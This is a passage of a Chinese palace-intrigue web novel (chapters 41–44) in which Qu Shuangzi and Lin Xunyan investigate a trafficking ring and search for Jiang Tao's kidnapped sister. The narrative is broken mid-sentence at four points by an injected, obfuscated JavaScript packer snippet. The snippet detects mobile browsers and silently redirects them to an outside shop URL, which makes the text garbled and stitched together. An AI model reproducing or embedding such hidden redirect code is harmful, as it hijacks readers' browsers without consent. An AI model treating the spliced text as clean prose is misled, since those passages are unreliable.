正巧贺卫的侍从经过向她问好,她挂上僵硬的微笑打听寒暄道:“贺大人还好吗?” “贺大人公事繁忙,难免疲累,眼下正在休憩。” 林寻雁瞬间松了口气,“好,烦请等大人醒来后知会一声,我有事情想要同大人商议。” 侍从走后,林寻雁不自在地咬了咬唇,她此刻茫然不解,根本理解不了为何公主要她把曲霜姿留在大理寺。 她虽欣赏曲霜姿为人,但胆子太大,性格太过固执都不是好事,这盛京就是拿权势说话,曲霜姿太过理想化,太爱强出头逞英雄了。 一个小地方来的姑娘,又能掀起什么波涛呢? 林寻雁这才有心思看书,但看着看着又忍不住叹服写书人的惊才绝艳,她又开始怀疑曲霜姿身份的真实性了。 “林小姐。” 有人唤她,她这才突然回过神来,是贺卫的侍从。 “林小姐,我家大人已醒,但大人身体疲累想要回府了,您有什么要紧事嘛?” 好一个身体疲累,林寻雁心中鄙夷,她暗叫不好,脱口而出,“很是紧急。” “那可否晚些时候来府上一叙?”侍从问得委婉,林寻雁虽没盛京这群老狐狸懂人情世故,此时也明白了侍从话中有话。 你一个未出阁的小姐,整日里在大理寺抛头露面也就罢了,又能有什么重要的事和贺卫商议。 林寻雁咬牙,曲霜姿离开不过半个时辰,贺卫要是现在回去,那少女被发现的可能就大大增加。 曲霜姿现在是她手下的人,于情于理她都该拖住贺卫。 “是家中的大事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723892|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,家父繁忙不忍叨扰,便派我来询问一二。”林寻雁从小到大没怎么说过谎,话一出口就感觉嘴唇都在抽搐。 侍从狐疑地看她一眼,但还是把她带去见了贺卫。 她拼命地思考,自家能有什么事和贺卫扯上关系,她都多久没过问过家里的事情了。而且林家虽在两位皇子间持中立态度,但她父亲是想她嫁给大皇子的,偏贺卫又对二皇子忠心耿耿。 “林小姐有何事欲于我商议?” 看着面前男人睡眼惺忪、嘴脸丑恶的伪善模样,林寻雁莫名就升起股恶寒,连假笑都懒得“家父说我能进入大理寺全亏了大人,日后定会亲自登门拜谢。” 贺卫笑得合不拢嘴,“林大人太客气了。” “但是,”林寻雁语气陡然一转,“家父说我既然进了大理寺,就是要为国效力,为民造福,为家族争光,与其他官员别无二致。” 贺卫愣住,面露不解。 “所以烦请大人对我换个称呼,我是您的下级,您却称我小姐,这并不妥当吧。” “那……林仵作?” 林寻雁郑重点了点头。 “好好好,”贺卫嘴角牵起若有若无的笑,“那林仵作还有什么事?” 林寻雁想不出来了,她刚刚听着“林小姐”这个称呼,再加上那侍从的言外之意,一股无名之火涌上心头,所以才会即兴说出那些话来。 她有种被人轻视的感觉。 哪怕她是林家大小姐,哪怕任何人都对她尊敬不已,但她这时回味起来,却感受到明晃晃的轻视。 她不由得握紧腰间佩剑。 见林寻雁默不作声,贺卫立刻递了眼色给侍从,当即就要送客。 “等等!”她慌乱地伸手阻拦。 贺卫神情变得严肃,透出带着不耐烦的凶神恶煞来。 “林仵作,既然你要好好在大理寺做事,那大理寺的公务都处理完了吗?你的办案能力、验尸水平不需要提高了吗?” “既然不想费心,不妨同霍公子找个地方休息玩乐去,勿要阻碍我办事。” 贺卫已然烦不胜烦,连表面上的和气都不想假装了,话中带上了讥讽的意味。 林寻雁一个养尊处优的大小姐,哪里受过这样的待遇,但她也心知肚明是自己不占理,面红耳赤地在原地不知所措。 “林仵作这样胡搅蛮缠,那就别怪我不给林大人留情面了。” 侍从一听就要动手,林寻雁怒不可遏登时前进几步,一掌拍在桌子上。 贺卫其实也就是吓吓她,但林寻雁力气不小,这猛得一拍发出巨大的响声。男人被到,露出不可置信的神情,他很快自觉失了脸面,亦怒不可遏地站了起来。 “你到底要做什么!?林小姐你可搞清楚了,无论如何说我都长于你,贺家也绝不怕林家!” 林寻雁气得满脸通红,只觉眼前之人卑鄙可憎,几番忍耐才没有把略卖人口之事的责问出口。 正当她不知道如何收场的时候,身后远远地传来曲霜姿清脆的声音。 41. 何乐而不为 “林小姐,”少女带着俏皮的话音响起,林寻雁立即松了口气。 在场三人一齐回过头。 曲霜姿泰然自若地走到林寻雁身旁,“小姐,老爷让你今日早些回去用午膳。”林寻雁见了台阶,很快接话:“好。” 贺卫面色难看,曲霜姿这话点醒了他,纵使他口吻嚣张,但林寻雁毕竟还是林府的小姐,他这般被皇子提拔上来的官儿也还是忌惮林冠清这种朝中老臣的。毕竟文臣当中,霍家之下便要属林家和近来东山再起的余家。 若是林家小姐心情不佳,看不惯他行事,专程来挑事儿他也无可奈何。 贺卫咬咬牙,他还有一堆烂摊子要忙,只能就此了事。 然而曲霜姿却眯着笑眼开口,“贺少卿,林老爷说玉琅斋的生意改日要找您商量商量呢。” 贺卫脸,,瞬间更黑了,盛京古董店就属林家的生意兴隆,他过去常想跟着谋一杯羹,为此送了不少礼到林府,要不是林府想要这个仵作选拔的名额,否则他怕是真的没戏了。 他虽只占一家店面的一成利润,却已不是小数目。 “是,改日定登门拜访。”他勉强扯出笑容,送走了这两个麻烦。 林寻雁走出去后神情还是怔怔的,曲霜姿笑着唤道:“林大小姐?”林寻雁攥着眉头,面上并无喜色,“你如何知道我家产业的事情?” “余千帆说的,余家产业众多,与林家有所交集不也正常?” 林寻雁面色沉重,她尚且对自己家中的事不甚了解,一个被家族抛弃的女子,义正言辞要摆脱林小姐的身份,到头来还是要用林家权势压人。 她叹气,“你那边如何?” 曲霜姿笑了笑,一副胸有成竹的模样,“找到他们的合约了。” 林寻雁在心里默默惊讶叹服,看似困难不已的事儿却被少女轻易地办到。曲霜姿简单解释道:“乐知曾见过余府买过几个好颜色的女奴,我们便找人带着谎称是人牙子送来的,哭天抢地一番也就被带进去关了起来。” “剩下的就是自由发挥了,”曲霜姿挑挑眉,“翻窗找东西也是费了一番力气。” 这都是这段时日锻炼出来的本事。 “随后又谎称说是送的姑娘有问题,等处理好,亲自再送上府来。” “还说这次姑娘是顶好的,塞了钱要那几个侍卫保密,给贺大人点惊喜,”曲霜姿冷笑几声,“侍卫觉得贺卫和人牙子勾结的事儿做得滴水不漏,不会怀疑自己被受骗。” 少女语气陡转,她回头看了眼正要离开的贺卫,眼神变得晦暗,声音压低道:“这帮人略卖人口已经近十载,人数之多几乎可以算是一个帮派,从边境到盛京都有受害之人。” 她将拳头攥得咯吱咯吱响,咬牙切齿道:“太可恶了。” 林寻雁艰难地消化着这巨大的信息量,她抬眸,刚好看见贺卫踏出大理寺。她缓缓回头,太阳不知何时被阴云遮蔽了,整个大理寺都被笼罩在阴影下。 偌大的院子没有半个人影儿,人不知都到哪个屋里躲懒去了。秋寒又不知怎的来得这样快,神不知鬼不觉地就渗入人的骨头中。 林寻雁打了个寒颤。 曲霜姿拍了拍她的肩,“今日多谢你。”话罢,抬腿就要离开。 “你们接下来打算怎么办?”林寻雁一把拉住她的衣袖,语气格外急促。 “找他们的老窝,救人报官查案抓人。”曲霜姿轻描淡写地回答,林寻雁却知道这事儿并不简单,她咬了咬唇,“有需要就找我,不要一个人擅自行动。” 其实找林寻雁也起不了什么大作用,女人有些懊丧,试探地提出另一种可能,“或者可以求助于公主。” 大皇子和二皇子势同水火,能除掉二皇子的心腹,公主何乐而不为呢? 曲霜姿笑了一声,随便应了句。 林寻雁看着少女豁然的背影,不由心生几分羡意。 而在她二人都没有注意到的地方,沈无逆默默地注视着她们,更准确的说,亦是看着远去的曲霜姿。 他眼中似有波光流转,最后化作一汪死水,再无波澜,叫人琢磨不透。 — 曲霜姿刚走出大理寺没多久,就有一人踉踉跄跄地朝大理寺跑去,与曲霜姿恰恰擦肩而过。 她好奇地投去目光,没想到居然又是熟人。 江桃满脸泪痕,形容狼狈,曲霜姿手疾眼快地回首拉住她,“你这是怎么了?” 江桃再也顾不得什么优雅体面,看见曲霜姿那一刻眼睛亮了亮,随后就嚎啕着要跪下,“曲小姐,大理寺我只认识你,我要报官!” 曲霜姿连忙拉住她,敛眉奇怪地问:“报什么案?” “我、我妹妹她被贼人掳去了。” “你还有妹妹?”曲霜姿安慰道:“别急,慢慢说。” “我少时父母故去,我和妹妹相依为命,后来余大人救过我一命……我现在就住在余家,我妹妹就住在父母留下的屋子里,我若是无事就去陪她。” “可、可是,我今日一早过去却不见她的踪影,向邻里打听了才知道,小丫头昨天就没回来。” 女人结结巴巴,说的有些没头没脑,但曲霜姿也不愿在这个节骨眼上和她计较。 “你妹妹多大?” “十三,”江桃抹了抹眼泪,眼眶红得骇人,她焦急地继续补充:“她平日里很乖的,白日也不会跑太远,不可能夜不归宿的。” “定是被贼人掳走了。”说着,她的眼泪又来势汹汹,哭得上气不接下气。 十三岁的女孩儿正是含苞待放的花骨朵儿,还独自住在老旧的屋子里,确实容易被那帮居心叵测的人盯上。 如果真是被人牙子掳走了,那可就危险了,曲霜姿咬咬牙,但很快思绪回转,发觉此事倒未尝不是好事。 大理寺未来要正式查办此案,必须要一个导火索。 曲霜姿本还要绞尽脑汁找一个出来,而江桃来得巧极了,而且若是贺卫现下在大理寺,定会把此事压下,也就不了了之。 但他不在,那这事就好办多了。 曲霜姿径直领着江桃走进大理寺,她一边作嘘声示意江桃安静一边四下观察,确定没人看见这才推开门。 屋里是宋主簿和蒋录事,二人负责文书、案件的建立和管理。据曲霜姿和乐知的观察,此二人是大理寺内少有的清正之辈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728262|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人正在认真地翻看文书,突然看见许久不见的曲霜姿,惊喜道:“小曲姑娘,你回大理寺了啊。” “林小姐说你在外边查案呢,什么案子啊?” 曲霜姿神秘地眨眨眼,“秘密。” “不过现在有个案子需要你们记录一下,”曲霜姿往侧边一退,让出身后娇艳可怜的美人来,“这位江姑娘要报案。” 两人愣了一下,很快投入公务当中。 宋主薄按照江桃所言一一记录,蒋录事登时就要起身把刚写好的文书呈给寺里的大人,却被曲霜姿拦住。 “小曲姑娘你这是作甚?” “少卿大人不在。” “少卿大人的手下也该在的,再不济还有寺丞和寺正呢。” 曲霜姿不知道人在不在,但这案子现在还真不能捅到上面去,一般也不能开始查。 “哎呀,”曲霜姿笑着拦在门前,“两位大人别急啊,这案子怕是少卿大人不许查呀。” “什么意思?”宋居安和蒋睿互相对视一眼,狐疑问道。 曲霜姿没有直接挑明,“两位大人也不想这案子不了了之吧。” “那这案子该如何是好?”蒋睿皱紧眉头,拿着文书的手都忍不住地颤。 江桃不可思议地瞪大眼睛,“什么意思!?为什么不能查,曲霜姿你这是做什么?” 曲霜姿朝她努努嘴,“我回头再同你讲,你要救你妹妹,就得按我说的来。”她严肃地看向两个中年官员,“依我之见,先压着,不查不提,未来时机成熟要查之时,有这份文书在,再要操作就难了。” “可是这是人命关天的事儿啊。” 曲霜姿点点头,“确实是人命关天的事儿,所以才不得不这么办。” 宋居安和蒋睿为官十余载,同贺卫共事也不是一朝一夕了,他们深知贺卫为人处世,也只得将自身赤忱之心藏得严实些,将行事磨砺得更圆滑些。 见曲霜姿十拿九稳,两人才松了口。 “届时要是被大人发现又该如何?” “一切后果由我承担,”她笃定地看向江桃,随即将眼睛眯成月牙,用轻快的语气道:“再说了,他不问你不说,他一问你惊讶,左右没有旁人知道这案是谁接下的。” 在场三人都惊得瞪大了眼睛,该说不说,好像是有那么几分道理,但这道理实在是总结得太妙了些。 曲霜姿笑得得意,这可是她阿娘亲传的道理,天底下可绝没有比她阿娘更□□的人了。 她带着江桃走出大理寺,江桃忧愁地苦着脸,很显然对曲霜姿没有半点信任,曲霜姿只好耐心地将其中隐情一一道出。 江桃没想到大理寺竟是这般所在,起了一身冷汗,急得两眼发黑,险些要昏过去。 曲霜姿赶紧扶着女人,江桃身体看着就羸弱,她倒还真怕人急出个什么好歹来,“别昏啊,咱们只是明面上不查了呀,实际上还是查的,你别担心嘛。” 江桃气息轻缓,颇有些奄奄一息的架势,她蹙着柳烟眉柔柔问道:“当真?” “当真!”曲霜姿郑重许诺,“但我还有问题,你为何不把你妹妹接到余家去,你妹妹丢了,余家人不管吗?” 42. 空口说白话 江桃嗫喏半晌,神情悲凄,只是再落不下半滴眼泪了,“我没有资格常住余家的,如今种种只不过是想让我们姐妹二人的生活能有所改善。” “哪怕余肃不是真心喜欢你,此事他也不会不管。”曲霜姿了解她余叔叔,为人正直温善,不会坐视不理。 “余肃近来忙得厉害,回府都很晚了,也不愿见人,我怕我再麻烦他,他会将我赶出余家。”江桃低声解释,头埋得更低了,完全看不出曾经那种盛气凌人了。 曲霜姿无奈地摇摇头,叹了口气,“走吧,先去查案。” 江桃其实也只是猜测妹妹被贼人掳走了,还抱着几分侥幸的心思,否则到了走投无路的境地,哪怕是真的要被赶出余家,她也去求余家。 不然她也不用独自拉扯她小妹这么多年了。 曲霜姿神情肃然,“你再与我讲讲,那日遇上人牙子的经过。” “我原本是去当镯子的,那镯子是父母留给我们姐妹两最后的物什了,我就在当铺门口犹豫不决。” “然后突然就有女人喊救命,向我求助,我也被吓了一跳,但眼见着凶神恶煞的人牙子要追上了,我就拉她进了当铺。” “然后就装作若无其事的模样当了手镯,那人牙子来店里搜查一番,没看见人,就去追别人了。” 曲霜姿了然地点点头,“但你们出去后还是被发现了。” 江桃闷声应是。 曲霜姿又问:“那当铺在何处?” “城东,”江桃低下头,咬唇道:“若是在城内繁华处当东西,恐怕要被人认出来说闲话。” “恰巧那当铺离我家老屋也近,便想着当完东西去看妹妹,可是受了惊吓也耽搁了时间,就先回去了。” 这倒是和曲霜姿常蹲点的地方邻近了,只是要更偏僻些。 她斩钉截铁道:“那我去当铺,你?”她欲言又止地看向江桃,女人一副下一刻就要昏厥过去的模样,看出曲霜姿的疑虑后还是咬牙铿锵道:“我也一起去。” — 东郊这边也只有这一间看着规格严整的当铺,然而和盛京有名的几家完全不能相提并论。二人走了进去,江桃就立刻绘声绘色、更加细致地讲述了那日的情景。 店老板疑惑地看着她们,“两位要当东西吗?” 曲霜姿眼尖地看见柜台上摆放着些不同寻常的玩意儿,便顺势掏出怀中一个锦囊,她用关节敲敲柜台,“这个锦囊如何?能当多少银钱?” 店老板看她气宇不凡,以为她能拿出什么好东西来,可那锦囊做工粗糙、针脚杂乱,用的也不是什么好料子,上头的纹饰要是不仔细看根本看不出来绣的是什么。 还锦囊,顶多算是个布袋子。 曲霜姿倒是坦然自若,没有半分嫌弃这布袋子的意思,江桃凑过来看了一眼,亦是不忍直视。 店老板为难道:“这……姑娘还是不要和我开玩笑的好。” 这锦囊是乐知最近学的绣,绣成的头一个就赠予了曲霜姿,曲霜姿整日乐呵地带在身上。 眼看店老板面露尴尬,她讪讪收回锦囊,撇撇嘴道:“难不成老板只收古董啊?” 曲霜姿的目光投向后排柜子上的古董,“不知什么人家里能有这样精美的摆件。” 确实古怪,这里的确是东郊,住户少几乎全部是平民百姓,还有些无家可归的人在此休憩,就算要典当东西,又怎么会有这种宝贝。 但若是哪家贵人典当的,又为何舍近求远来这地方啊,盛京城中心那几家当铺肯定能出更高的价格,而且林家又经营着那么多古董店,找个正经古董店卖了也未尝不可啊。 曲霜姿奇怪地看向江桃,江桃也明白了她的意思,连连摆手,“我当过最好的玩意儿就是我那镯子。” 店老板看了江桃一眼,莫名觉得眼熟,他一拍脑袋,“昨日就是你带了一个脏兮兮的姑娘来吧。” “还引了那伙人来,弄坏了我一个新收的摆件,你说怎么赔偿吧。” 江桃惊讶不已,“什么?” 她焦急地看看曲霜姿,又看向店老板,她局促道:“抱歉,昨日一时情急,那摆件也不是我碰坏的,您就当是破财免灾了。” 她们两个进来这会儿也没拿出值钱东西来要典当,店老板也不想再与她们惺惺作态,他粗鲁地呸了一声,“不是你的钱,你站着说话不腰疼是吧。” 男人张开一只手,一字一句道:“五十两,一文钱都不能少。” 什么!?曲霜姿也惊了,这张口就是五十两银子,江桃慌得不知所措,曲霜姿忙站出来问:“你说弄坏了你的东西,那损坏了的东西呢?” “自然是扔了啊。” “若真是宝贝,损坏了也是值钱的吧,你怎么舍得随意丢弃呢?”曲霜姿抱臂,“空口无凭说白话,况且你都说了,是‘那伙人’弄坏的,冤有头债有主,和我们又有什么关系!” 江桃跟着点头,她瞧着占理的成了自己,恢复几分专属美人的自信来:“你一个当铺老板,要是这样讹我一个女子,岂不是让人笑掉大牙!” “我出去就和别人讲,看以后谁还敢来你这店!”她这时也不虚弱了,说话中气十足的。 曲霜姿强忍着笑容,眯着眼看向男人,“要不咱们各退一步,你告诉我‘那伙人’是何人?我们也守口如瓶,日后多帮你招揽些生意来。” “她可是余府未来的少夫人,你可要掂量清楚。”曲霜姿惯喜欢替别人狐假虎威。 江桃反而有些没底气,但又怕露了破绽,只能昂起头撑起气度来。 “你们这也不是空口说白话嘛,什么好东西都拿不出来,还余家少夫人,”店老板收了气焰,口里嚷着:“还敢打听‘那伙人’,活得不耐烦了吧。” “那群人可就喜欢抓你们这种无法无天的妮子,拉到青楼里卖了去,看你们能不能认清自己的身份。” 这种话江桃听惯了,她这种艳丽扎眼的长相,在她儿时父母健在时换来的还多是夸赞,顶多是说几句未来一定能嫁个好人家,挣得丰厚的彩礼。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731737|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但等她父母逝去,玩笑、谣言、污蔑就风似得吹进了她家屋子,更甚者还有男人爬墙欲行不轨,也多亏邻居一对夫妇是大善人,愿意时常留心照顾着些。 但曲霜姿厌恶这种话厌恶到了极点,她抽出腰间一把新买的匕首,刀刃在空中划出一道闪电似的痕,将江桃和店老板都吓得惊愕失色。 店老板哆嗦着手指着曲霜姿,“你这是做什么,我可要报官了!” 曲霜姿虽然武艺稀疏,但惯用匕首,用得又快又巧,光是看着就骇人。 “报吧,我就是大理寺的,专治你这种黑店老板!”她摸出令牌来给男人看,男人这才信了,吓得后退几步,“我这可不是黑店啊。” 曲霜姿收回令牌,冷哼道:“敲诈勒索、窝藏凶犯,还说不是黑店?” “都是误会,小的没有窝藏什么凶犯啊。”男人连连摇头摆手。 “那‘那伙人’?”曲霜姿斜眼睨他。 “所以大人是要查他们?”男人小心翼翼地看向曲霜姿,试图从曲霜姿脸上看出什么端倪,然而曲霜姿查案时常一副冷脸,单是缄默不言就气势压人,看着就格外不好相与。 “关于他们我也只是道听途说,这都是流言啊,我和他们没有半点关系。” 看着男人着急否认,曲霜姿一时辨认不出真假,她追问道:“他们就常在这附近出没?” 店老板使劲点头。 “那他们之前有来过你的店吗?” 男人明显地迟疑了,曲霜姿一拍桌子,又要抽出匕首,“还不如实交代!” “来过,每次来都会损坏些东西,我这生意也不好做啊。” “来干什么?” 店老板解释道:“就是做买卖而已。” “你也买奴隶?” “不是、不是,就是典当东西,再从我这儿买东西,”他急得点头哈腰,把自己这儿的东西都展示了一遍,不顾眉头还皱着就挤出笑容,看着很是滑稽:“我也用不着买奴隶啊。” 曲霜姿也不欲为难他,“那你知道他们在何处藏身吗?” 店老板拼命摇头。 曲霜姿问不出什么了,便转头问江桃,“你昨日的镯子还要赎回来吗?” 按照当铺规矩,这利息可是不少,但江桃咬咬牙,掏出银两来放在柜台上,这一下倒显得她阔绰了,也多亏曲霜姿大方。 当铺的柜台很高,昨日江桃典当镯子时慌手慌脚,也就任由这贪心老板压低当价。 但这世上有些东西,是无法用价格来衡量的。 店老板不敢收江桃的利息,忙退了些铜钱回来,他捧出那手镯,笑容堆了满脸,“二位慢走。” 江桃总算了却一桩心事,她松了口气,可自家妹妹却还是了无音讯,她急切地看向曲霜姿,“真的能找到我妹妹吗?万一就如那个老板所言,我小妹她被……” 曲霜姿脸色阴沉,“左不过就在这附近,挨个找。” 天色渐暗,她不敢耽搁时间,安顿好江桃就投身暗巷当中。 43. 一舞动四方 曲霜姿留了个心眼儿,让江桃在那店外守着,看看那帮人会不会再来这当铺。 再来,江桃肩不能扛手不能提,遇上歹人打不过,也跑不掉,还是这种蹲守的活儿更适合她。 东郊远没有盛京那几条繁华街道那样热闹,那边是张灯结彩、粉饰太平,这边却房屋矮小密集,压得连月光都照不进来。 但她四下寻找,仍是无果。东郊没什么大的客栈酒楼,都是些小门小户,偶尔有几家大户人家的宅子,却也都空荡荡的,杳无人迹。 曲霜姿不由得怀疑,那帮人牙子真的藏身在此处吗?可是,他们人也不少,何处又能叫他们藏匿得前不见头后不见尾? 曲霜姿一无所获,脸色难看地回到江桃身边。 江桃见她神情落寞、独身空手的,眼里那点儿希望瞬间就熄灭了。 “别灰心,”曲霜姿拍拍她的肩膀,“带我去你家看看。” 江桃家的老屋不大,整个院里只有三个房间,但院子里的花圃中开满了花,哪怕已经秋天到了,也依旧生机盎然。 “我妹妹喜欢打理花草,尤其喜欢秋冬开的花。”江桃嘴边扯起抹惨淡的笑,曲霜姿盯着院里唯一一棵树看,“她也喜欢桃花。” 江桃愣了一晌,眼眶中再次蓄满泪水,随着她郑重的点头滑落脸颊。 真是姐妹情深,曲霜姿在心中感慨。 “咚咚咚。” 老旧的院门突然被敲响了,发出一阵摧枯拉朽的声音,惹得人心都提了起来。 二人齐齐回头。 “小梅,你回来了吗?” 江桃的妹妹正是名为江梅,曲霜姿疑惑地看向江桃。 江桃很快反应过来,“是邻居大叔。”她上前开了门,来人看见她略微惊讶,但随即喜笑颜开:“小桃,是你回来了啊。” “我还担心你家里进了小偷呢,”男人挠挠头,语气变得关切,“怎么样了,小梅找到了吗?” 江桃红着眼眶摇摇头。 曲霜姿也走过来,“大叔,您上一次见到小梅是什么时候?” 男人略一思索,答道:“昨日上午,小梅说今日姐姐回来,她要出门买菜给姐姐做好吃的。” “她还说什么了吗?” “她说小桃在大户人家过得也必不安心,肯定是很想家的。”男人说这话时,小心翼翼地瞥向江桃,江桃已经彻底崩溃,在一旁掩面痛哭。 她从小照顾妹妹,哪怕父母不在了,她们没有任何收入来源,江桃也总想给妹妹最好的,努力让妹妹吃喝不愁,教妹妹读书写字。 但她总怕妹妹会怪她,怪她把自己一个人丢在这老屋里,怪她一个人去富贵人家过好日子。 可没想到,小梅知道姐姐爱她,她知道姐姐有苦衷,知道姐姐的用心良苦。 小梅也会心疼姐姐。 曲霜姿也被两姐妹的情谊打动,只可惜自己没有兄弟姐妹,但是转而一想,她现在和乐知相依为命,也不是孤身一人。 邻居大叔又寒暄几句,询问她们打算如何找人,是否需要帮助。曲霜姿仔细听着,越听越发觉不对,她一直按捺到男人走后,才小心压低声音问道:“你回家的日子固定吗?或者你有没有提前告诉过小梅打算回家的事?” 江桃倏地瞪大眼睛,怔怔摇头。 自己尚且不知道哪日能够回家,小梅是怎么知道的?而且要是江桃没记错,那男人每日大早都要出城去田间种地,一般是不会有机会和江梅打上照面的。 “小梅平日上午会做什么?” “打、打理花草……看书、做饭,”江桃失神喃喃,“她提前几天就会买好菜,上午一般都不出门的。” 如果说江梅提前在街上看到了姐姐,所以认为姐姐会回来,这种可能性也不大了。剩下可能更加匪夷所思,就是他们的邻居亲眼看见了江桃,所以才会扯出这样的谎,至于扯谎是为了什么…… 那就不得而知了。 江桃看着邻居家隐隐约约的烛火,身体不住颤抖,她恨不得现在就过去问个水落石出,但是曲霜姿拉着她,她自己残存的理智也在不断提醒她。 曲霜姿皱眉沉思,“我知道我们还能去哪里找线索了。” 江桃眼里的光亮了亮,又被她自己心灰意冷地掐灭,“哪里?” “温香楼。” 当铺老板的那番话不是没道理,人牙子在盛京一天,就得做一天生意,女子无非就三条出路,卖给大户人家或是光棍,要么就只能沦落到烟花柳巷。 这些还都建立在女子有几分姿色的前提下。 二人马不停蹄赶到温香楼,楼内正灯火辉煌、花天酒地欢笑连连,曾与曲霜姿有过一面之缘的冷香正在舞台的中央曼妙舞动,引得底下客人激动喝彩。 曲霜姿遗憾没有时间好好欣赏。 她左顾右盼不知扎进了多少人堆,方才又找到了一个熟人。 “凉心姑娘!” 凉心面容生得更加姣好,肤白胜雪、眉目含情,却不让人觉得轻佻,反而是温柔小意,在无数明亮的烛光下像是笼罩了一层薄雾,又像是蒙了一层月光,平添了叫人不敢亵渎的仙气来。 女人正轻抚琵琶,薄唇微启,动人的曲调悠悠传出。 她被一群人簇拥着,忽得从沉醉的状态被曲霜姿一嗓子唤醒,神情有些恍惚,“霜姿姑娘?” 曲霜姿粗糙的男子装扮被轻易戳穿,她讪讪笑笑,作揖道:“不好意思打扰各位雅兴,我想与凉心姑娘进一步说些体己话。” 人群不情不愿地散开。 凉心纳闷问道:“姑娘有何事吗?”她顿了顿,开口猜测,“可是又要寻婉兮?” 说这话时,女人漂亮的眉都蹙了起来。 曲霜姿看出端倪,她这一圈儿找下来,确实没有看见婉兮的身影,“婉兮怎么了?” “她病了,病得不大好了。”凉心眼眶湿润,埋头咬唇。 曲霜姿联想到话本里可怜的青楼姑娘们,被老鸨虐待,活得没有半点尊严,病不得医,病入膏肓快不行了便拿草席子一裹扔到乱葬场去。 她攥紧眉头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734484|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,焦急地抓住凉心的手,“可需要郎中?可需要银两?” “妈妈已经请了京城最好的郎中看过了,多少碗药总也不见好,郎中说是心病难医,只能让她自己看开些。” 曲霜姿怔住,“因为姜绍?” 得到凉心的肯定,曲霜姿无奈扶额叹气,婉兮、婉兮,当真是令人惋惜。“你们要好生劝劝,为一个男人不值当的。” “已然劝过了,楼里诸多姐妹都劝她想开些,这日子从前不也安逸欢愉吗?”婉兮仰头出神,“怎么就变了呢……” “若是为她赎身呢?”曲霜姿提议道。 凉心摇摇头,“曲姑娘你有所不知,我们这儿虽是青楼,却不同于旁的地方。” “府中姑娘大都无父无母,如无根浮萍,妈妈给我们了一个家,准许我们学习自己喜爱的技艺,也从不逼我们接客。” 曲霜姿沉思良久,半信半疑道:“当真?” 冷香一舞跳罢下了台,听着几句的二人对话,便替凉心回答,“正是。”一个小侍女拿了衣服来帮冷香披上,冷香回首道谢,饮了盏早就准备好的热茶。 曲霜姿笑了笑,“姑娘一舞动四方。” “我的舞是妈妈亲自教的,自然是好的,”冷香将衣服裹得更紧了一些,却仍然能透出她玲珑有致的身形,配上娇艳的容貌,格外勾人、只叫人挪不开眼睛。 但女人神情偏又是冷的,不笑时就拒人千里之外。 “曲姑娘,你相信吗?”冷香直白地勾起抹笑容,“我入温香楼多年,却仍然是处子之身。” “很多人豪掷千金只愿求我一舞,”她目光灼灼,“但没人能得到我,更没人能留住我,哪怕是温香楼也一样。” 凉心凑上来,“我的卖身契此刻就压在我的枕头下面,只要我想离开,即刻走便是了。” “我们赚够了钱,如今也有能力在盛京立身,但这里像家。左右外头的人也看不起我们,我们也不喜外头的虚情假意,不妨在这里真实地活着。” 曲霜姿看着两个姑娘站在自己面前,周围的喧嚣此刻与她们二人隔绝开来,多少人只敢远远地偷看。曲霜姿环顾四周,每个女孩儿的脸上的神情都是真切的,偶有一两个年纪小的看着局促几分,眼神中却也并无恐惧。 和楼里相比,外边那些都是浮华。 “未来如果有机会我定要再见见这楼的主人,”曲霜姿感慨一句,向两位姑娘鞠躬道谢,“多谢二位姑娘同我说这些。” “今日就告辞了,改日再来拜访。” 凉心有些奇怪地叫住她,“姑娘不是有事儿吗?” 曲霜姿回头一笑,“现在没有疑问了。” 她走出温香楼,夜色已深,江桃焦急地等在外面,一看见她就忙上来问:“问到什么了没有?” 曲霜姿摇摇头,“不会在这里,温香楼和我想象的不同,不会和那群人牙子狼狈为奸。” 像是做了许久的心理建设、又像是当机立断,还未等曲霜姿反应过来,江桃转身迈出步子,头也不回地跑了起来。 44. 狡兔尚三窟 曲霜姿不明所以,她急忙追上去拦住女人,“江桃,你去何处?” 江桃推了她一把,近乎歇斯底里道:“我去问王叔、我去求余肃!谁能帮我找到我妹妹我就找谁!” 